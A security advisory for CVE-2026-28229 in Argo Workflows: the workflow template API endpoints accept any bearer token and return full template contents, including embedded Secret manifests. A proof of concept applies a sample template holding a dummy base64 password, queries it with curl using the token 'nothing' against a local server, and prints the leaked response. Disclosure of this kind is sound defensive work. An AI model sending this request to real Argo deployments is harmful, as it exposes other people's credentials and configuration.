CVE-2026-28229: Argo Workflows has unauthorized access to Argo Workflows Template

Summary Workflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a Authorization: Bearer nothing token can leak sensitive template content, including embedded Secret manifests.

Details

https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/workflowtemplateserver.go#L60-L78

https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/clusterworkflowtemplateserver.go#L54-L72

Informers use the server’s rest config, so they read using server SA privileges.

https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/informer.go#L29-L42

https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/informer.go#L34-L46

PoC 1. Create template

yml apiVersion: argoproj.io/v1alpha1 kind: WorkflowTemplate metadata: name: leak-workflow-template namespace: argo spec: templates: - name: make-secret resource: action: create manifest: | apiVersion: v1 kind: Secret metadata: name: leaked-secret type: Opaque data: password: c3VwZXJzZWNyZXQ=

Then apply that with kubectl apply -f poc.yml 2. Query Argo Server with a fake token

Result:

cmd kubectl apply -f poc.yml workflowtemplate.argoproj.io/leak-workflow-template created curl -sk -H "Authorization: Bearer nothing" \ "https://localhost:2746/api/v1/workflow-templates/argo/leak-workflow-template" {"metadata":{"name":"leak-workflow-template","namespace":"argo","uid":"6f91481c-df9a-4aeb-9fe3-a3fb6b12e11c","resourceVersion":"867394","generation":1,"creationTimestamp":"REDACTED","annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"argoproj.io/v1alpha1\",\"kind\":\"WorkflowTemplate\",\"metadata\":{\"annotations\":{},\"name\":\"leak-workflow-template\",\"namespace\":\"argo\"},\"spec\":{\"templates\":[{\"name\":\"make-secret\",\"resource\":{\"action\":\"create\",\"manifest\":\"apiVersion: v1\\nkind: Secret\\nmetadata:\\n name: leaked-secret\\ntype: Opaque\\ndata:\\n password: c3VwZXJzZWNyZXQ=\\n\"}}]}}\n"},"managedFields":[{"manager":"kubectl-client-side-apply","operation":"Update","apiVersion":"argoproj.io/v1alpha1","time":"REDACTED","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{".":{},"f:kubectl.kubernetes.io/last-applied-configuration":{}}},"f:spec":{".":{},"f:templates":{}}}}]},"spec":{"templates":[{"name":"make-secret","inputs":{},"outputs":{},"metadata":{},"resource":{"action":"create","manifest":"apiVersion: v1\nkind: Secret\nmetadata:\n name: leaked-secret\ntype: Opaque\ndata:\n password: c3VwZXJzZWNyZXQ=\n"}}],"arguments":{}}}

Impact Any client can leaks Workflow Template and Cluster Workflow Template data, including secrets, artifact locations, service account usage, env vars, and resource manifests.